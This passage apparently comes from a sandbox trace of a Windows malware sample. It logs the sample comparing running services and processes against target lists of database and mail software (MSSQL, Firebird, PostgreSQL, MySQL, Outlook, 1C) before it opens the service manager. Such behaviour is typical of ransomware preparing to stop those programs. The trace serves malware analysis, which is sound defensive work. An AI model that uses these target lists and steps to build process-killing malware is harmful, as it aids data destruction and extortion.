(lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0268.236] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0268.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0268.236] lstrlenW (lpString="lmhosts") returned 7 [0268.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0268.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0268.237] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0268.237] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0268.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0268.237] lstrlenW (lpString="MMCSS") returned 5 [0268.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0268.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0268.237] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0268.237] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0268.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0268.237] lstrlenW (lpString="MpsSvc") returned 6 [0268.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0268.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0268.237] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0268.237] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0268.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0268.237] lstrlenW (lpString="Netman") returned 6 [0268.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0268.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0268.237] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0268.237] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0268.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0268.237] lstrlenW (lpString="netprofm") returned 8 [0268.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0268.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0268.237] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0268.237] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0268.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0268.237] lstrlenW (lpString="NlaSvc") returned 6 [0268.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0268.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0268.237] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0268.238] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0268.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0268.238] lstrlenW (lpString="nsi") returned 3 [0268.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0268.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0268.238] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0268.238] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0268.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0268.238] lstrlenW (lpString="PcaSvc") returned 6 [0268.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0268.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0268.238] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0268.238] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0268.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0268.238] lstrlenW (lpString="PlugPlay") returned 8 [0268.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0268.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0268.238] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0268.238] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0268.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0268.238] lstrlenW (lpString="Power") returned 5 [0268.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0268.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0268.238] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0268.238] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0268.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0268.238] lstrlenW (lpString="ProfSvc") returned 7 [0268.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0268.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0268.238] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0268.238] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0268.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0268.238] lstrlenW (lpString="RpcEptMapper") returned 12 [0268.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0268.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0268.239] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0268.239] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0268.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0268.239] lstrlenW (lpString="RpcSs") returned 5 [0268.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0268.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0268.239] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0268.239] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0268.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0268.239] lstrlenW (lpString="SamSs") returned 5 [0268.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0268.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0268.239] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0268.239] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0268.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0268.239] lstrlenW (lpString="Schedule") returned 8 [0268.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0268.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0268.239] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0268.239] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0268.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0268.239] lstrlenW (lpString="SENS") returned 4 [0268.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0268.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0268.239] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0268.239] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0268.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0268.239] lstrlenW (lpString="ShellHWDetection") returned 16 [0268.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0268.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0268.239] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0268.239] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0268.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0268.240] lstrlenW (lpString="Spooler") returned 7 [0268.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0268.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0268.240] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0268.240] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0268.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0268.240] lstrlenW (lpString="SysMain") returned 7 [0268.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0268.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0268.240] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0268.240] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0268.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0268.240] lstrlenW (lpString="Themes") returned 6 [0268.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0268.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0268.240] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0268.240] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0268.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0268.240] lstrlenW (lpString="TrkWks") returned 6 [0268.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0268.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0268.240] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0268.240] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0268.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0268.240] lstrlenW (lpString="UxSms") returned 5 [0268.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0268.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0268.240] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0268.240] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0268.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0268.240] lstrlenW (lpString="WdiServiceHost") returned 14 [0268.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0268.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0268.240] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0268.241] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0268.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0268.241] lstrlenW (lpString="WdiSystemHost") returned 13 [0268.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0268.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0268.241] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0268.241] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0268.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0268.241] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0268.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0268.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0268.241] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0268.241] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0268.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0268.241] lstrlenW (lpString="Winmgmt") returned 7 [0268.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0268.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0268.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0268.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0268.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0268.241] lstrlenW (lpString="WPDBusEnum") returned 10 [0268.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0268.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0268.241] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0268.241] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0268.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0268.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x46051a0 | out: hHeap=0x540000) returned 1 [0268.241] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c4 [0268.242] Process32FirstW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.243] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0268.243] lstrlenW (lpString="System") returned 6 [0268.243] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0268.243] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0268.243] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0268.243] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0268.243] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0268.243] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0268.243] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0268.243] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0268.243] lstrlenW (lpString="smss.exe") returned 8 [0268.243] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0268.243] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0268.243] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0268.243] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0268.243] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0268.243] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0268.243] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0268.243] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.244] lstrlenW (lpString="csrss.exe") returned 9 [0268.244] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0268.244] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0268.244] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0268.244] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0268.244] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0268.244] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0268.244] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0268.244] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0268.244] lstrlenW (lpString="wininit.exe") returned 11 [0268.244] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0268.244] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0268.244] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0268.244] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0268.244] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0268.244] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0268.244] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0268.244] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.244] lstrlenW (lpString="csrss.exe") returned 9 [0268.245] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0268.245] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0268.245] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0268.245] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0268.245] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0268.245] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0268.245] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0268.245] lstrlenW (lpString="winlogon.exe") returned 12 [0268.245] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0268.245] lstrlenW (lpString="services.exe") returned 12 [0268.245] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0268.246] lstrlenW (lpString="lsass.exe") returned 9 [0268.246] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0268.246] lstrlenW (lpString="lsm.exe") returned 7 [0268.246] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.246] lstrlenW (lpString="svchost.exe") returned 11 [0268.246] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.246] lstrlenW (lpString="svchost.exe") returned 11 [0268.246] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.247] lstrlenW (lpString="svchost.exe") returned 11 [0268.247] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.247] lstrlenW (lpString="svchost.exe") returned 11 [0268.247] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.247] lstrlenW (lpString="svchost.exe") returned 11 [0268.247] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0268.247] lstrlenW (lpString="audiodg.exe") returned 11 [0268.247] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.248] lstrlenW (lpString="svchost.exe") returned 11 [0268.248] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.248] lstrlenW (lpString="svchost.exe") returned 11 [0268.248] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0268.248] lstrlenW (lpString="userinit.exe") returned 12 [0268.248] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0268.248] lstrlenW (lpString="dwm.exe") returned 7 [0268.248] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0268.249] lstrlenW (lpString="explorer.exe") returned 12 [0268.249] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0268.249] lstrlenW (lpString="spoolsv.exe") returned 11 [0268.249] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0268.249] lstrlenW (lpString="taskhost.exe") returned 12 [0268.249] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.249] lstrlenW (lpString="svchost.exe") returned 11 [0268.249] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0268.250] lstrlenW (lpString="chrome64b.exe") returned 13 [0268.250] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0268.250] lstrlenW (lpString="reader_sl.exe") returned 13 [0268.250] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0268.250] lstrlenW (lpString="taskhost.exe") returned 12 [0268.250] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0268.251] lstrlenW (lpString="consent.exe") returned 11 [0268.251] Process32NextW (in: hSnapshot=0x2c4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0268.251] CloseHandle (hObject=0x2c4) returned 1 [0268.251] Sleep (dwMilliseconds=0x1f4) [0268.996] OpenSCManagerW (lpMachineName=0x0, 